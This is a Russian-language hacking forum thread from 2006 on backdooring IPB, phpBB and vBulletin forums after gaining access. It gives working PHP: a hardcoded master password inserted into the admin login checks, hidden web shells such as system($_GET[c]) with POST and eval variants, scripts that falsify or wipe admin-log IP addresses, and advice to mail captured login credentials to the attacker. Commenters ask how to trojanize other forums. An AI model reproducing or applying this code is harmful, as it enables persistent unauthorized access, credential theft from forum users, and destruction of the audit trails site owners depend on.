Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Бэкдорим форумы. Теория и практика! (https://forum.antichat.xyz/showthread.php?t=23612)

gemaglabin 06.09.2006 21:41

Бэкдорим форумы. Теория и практика!
 
Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpBB.


IPB

Первое,что приходит на ум - открыть admin.php и найти кусок проверки кода введенного пароля.Находим строку

PHP код:

require_once( ROOT_PATH."sources/action_admin/login.php" ); 

Проверка корректности пароля происходит в файле login.php,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.

PHP код:

if ( $this->ipsclass->converge->converge_authenticate_member$pass ) != TRUE )        
{
 
$this->login_form("The password you entered is not correct");


Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию

PHP код:

if (( $this->ipsclass->input['password']) == "antichat")

{
$sess_id md5uniqidmicrotime() ) );
$db_string $this->ipsclass->DB->compile_db_insert_string( array (
                                                                                   
'session_id'                => $sess_id,
                                                                                   
'session_ip_address'        => $this->ipsclass->ip_address,
                                                                                   
'session_member_name'       => $mem['name'],
                                                                                   
'session_member_id'         => $mem['id'],
                                                                                   
'session_member_login_key'  => $mem['member_login_key'],
                                                                                   
'session_location'          => 'index',
                                                                                   
'session_log_in_time'       => time(),
                                                                                   
'session_running_time'      => time(),
                                                                         )        );
                                                          
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect$this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['php_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query'Log In Successful' );
exit();


Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель.

но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код

PHP код:

system("$_GET[c];"); 

При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.

phpBB

В форумах вида phpBB все гораздо проще - логин и пароль проверяется в одном скрипте.

В этом месте скрипт сравнивает правильность введенного пароля
PHP код:

if( md5($password) == $row['user_password'] && $row['user_active'] ) 

Меняем эту строчку на
PHP код:

if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) 

Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида
PHP код:

system("$_GET[c];"); 

Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.

* Про то,как поднять права в различных форумах можно прочитать тут

SladerNon 07.09.2006 11:29

Живая тема :). Прикреплю. :)

Цитата:

Сообщение от gemaglabin
Как и в случае с IPB можно в любом скрипте оставить шелл вида
PHP код:

system("$_GET[c];"); 

Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.

А почему бы не сделать,
PHP код:

system("$_POST[c];"); 

?

Менее удобно в юзанье, но проблемы с логами, после такого шелла - отпадают :)

k1b0rg 07.09.2006 14:38

файлы для троянизации различаються в каждой версии любого форума. Проверено.

gemaglabin 07.09.2006 15:06

Чистим логи в ipb и vbulletin
 
Вообщем накатал два скрипта,могут поменять ip адреса в логах пребывания в админ панели или полность очистить таблицу.

Возможно где-то еще хранятся айпи,я не в курсе,но по аналогии можно дописать

Ах да,скрипты берут информацию для коннекта из конфигурационных файлов форума,те кидать надо в корень сервера.

Invision Power Board

PHP код:

<FORM NAME=check METHOD=POST ACTION='?change'>
<TD>Change IP To</TD>
<TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
<TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
</Form>
<FORM NAME=check METHOD=POST ACTION='?clean'>
<TD>Clean  Logs</TD>
<TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
</Form>
<?php
if (isset($_GET['change']) || isset($_GET['clean']))

 require_once(
'./conf_global.php');

 
$dbtype  $INFO ['sql_driver']; 
 
$dbname  $INFO ['sql_database'];
 
$prefix  $INFO ['sql_tbl_prefix'];
 
$server  $INFO ['sql_host'];
 
$sqluser $INFO ['sql_user'];
 
$sqlpass $INFO ['sql_pass'];

 
$db      mysql_connect($server,$sqluser$sqlpass);
 if (!
$db) die ("cannot connect to mysql host");
 
mysql_SELECT_db($dbname);
 if (isset(
$_POST['ip']) && !empty($_POST['ip']))
 { 
  
$newip  $_POST['ip'];
  
$sql    'UPDATE `'.$prefix.'admin_logs` SET `ip_address` = '.$newip;
  
$result mysql_query ($sql) ;
  if (!
$result) die("cannot execute sql query ".mysql_error());
  echo 
"all ip addresses were updated to $newip";
 }
 if (isset(
$_GET['clean']))
 {
  
$sql     'TRUNCATE TABLE `'.$prefix.'admin_logs`';
  
$result  mysql_query ($sql) ;
  if (!
$result) die("cannot execute sql query ".mysql_error());
  echo 
"all ip addresses were destroyed";
 }
}
?>

vBulletion Board

PHP код:

<FORM NAME=check METHOD=POST ACTION='?change'>
<TD>Change IP To</TD>
<TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
<TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
</Form>
<FORM NAME=check METHOD=POST ACTION='?clean'>
<TD>Clean  Logs</TD>
<TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
</Form>
<?php
if (isset($_GET['change']) || isset($_GET['clean']))

 require_once(
'./includes/config.php');

 
$dbtype  $config['Database']['dbtype']; 
 
$dbname  $config['Database']['dbname'];
 
$prefix  $config['Database']['tableprefix'];
 
$server  $config['MasterServer']['servername'];
 
$port    $config['MasterServer']['port'];
 
$sqluser $config['MasterServer']['username'];
 
$sqlpass $config['MasterServer']['password'];

 
$db      mysql_connect($server,$sqluser$sqlpass);
 if (!
$db) die ("cannot connect to mysql host");
 
mysql_SELECT_db($dbname);
 if (isset(
$_POST['ip']) && !empty($_POST['ip']))
 { 
  
$newip  $_POST['ip'];
  
$sql    'UPDATE `adminlog` SET `ipaddress` = '.$newip;
  
$result mysql_query ($sql) ;
  if (!
$result) die("cannot execute sql query ".mysql_error());
  echo 
"all ip addresses were updated to $newip";
 }
 if (isset(
$_GET['clean']))
 {
  
$sql     'TRUNCATE TABLE `adminlog`';
  
$result mysql_query ($sql) ;
  if (!
$result) die("cannot execute sql query ".mysql_error());
  echo 
"all ip addresses were destroyed";
 }
}
?>

Ну или скачать = )

http://www.mytempdir.com/915084

gemaglabin 09.09.2006 13:15

Как универсальный метод забекдоривания - в функциях проверки связки пасс - юзер вставить mail() с передачей этой самой связки на ваше мыло.

k1b0rg 09.09.2006 14:19

на моем форуме при попытки взлома мне отсылаеться смс, со всеми данными =))
Иногда даже очень помогает узнать, кто из своих пытаеться взломать форум.

ShAnKaR 11.09.2006 15:18

лутьше не
PHP код:

system("$_GET[c];"); 

а
PHP код:

system($_GET["c"]); 


Qwazar 12.09.2006 21:59

Небольшое замечание:

Порой в настройках PHP установлена директива disable_functions со значением "exec, system, passthru и т.п." тогда необходимо использовать eval т.к. всего можно добиться средствами PHP.

Ascentio 29.10.2006 12:14

А если вот такой код:
PHP код:

<script type="text/javascript">
<!--
function 
process_form(the_form)
{
    var 
element_names = new Object()
        
element_names["req_username"] = "Имя"
        
element_names["req_password"] = "Пароль"

    
if (document.all || document.getElementById)
    {
        for (
0the_form.length; ++i)
        {
            var 
elem the_form.elements[i]
            if (
elem.name && elem.name.substring(04) == "req_")
            {
                if (
elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
                {
                    
alert("\"" element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
                    
elem.focus()
                    return 
false
                
}
            }
        }
    }

    return 
true
}
// -->
</script

Что можно сделать?

Abra 07.12.2006 18:58

Есть какой-нибудь аналог system("$_GET[c];"); в Перле? нужно затроянить форум на Перле, и не знаю че бы туда такого вставить.


Время: 21:33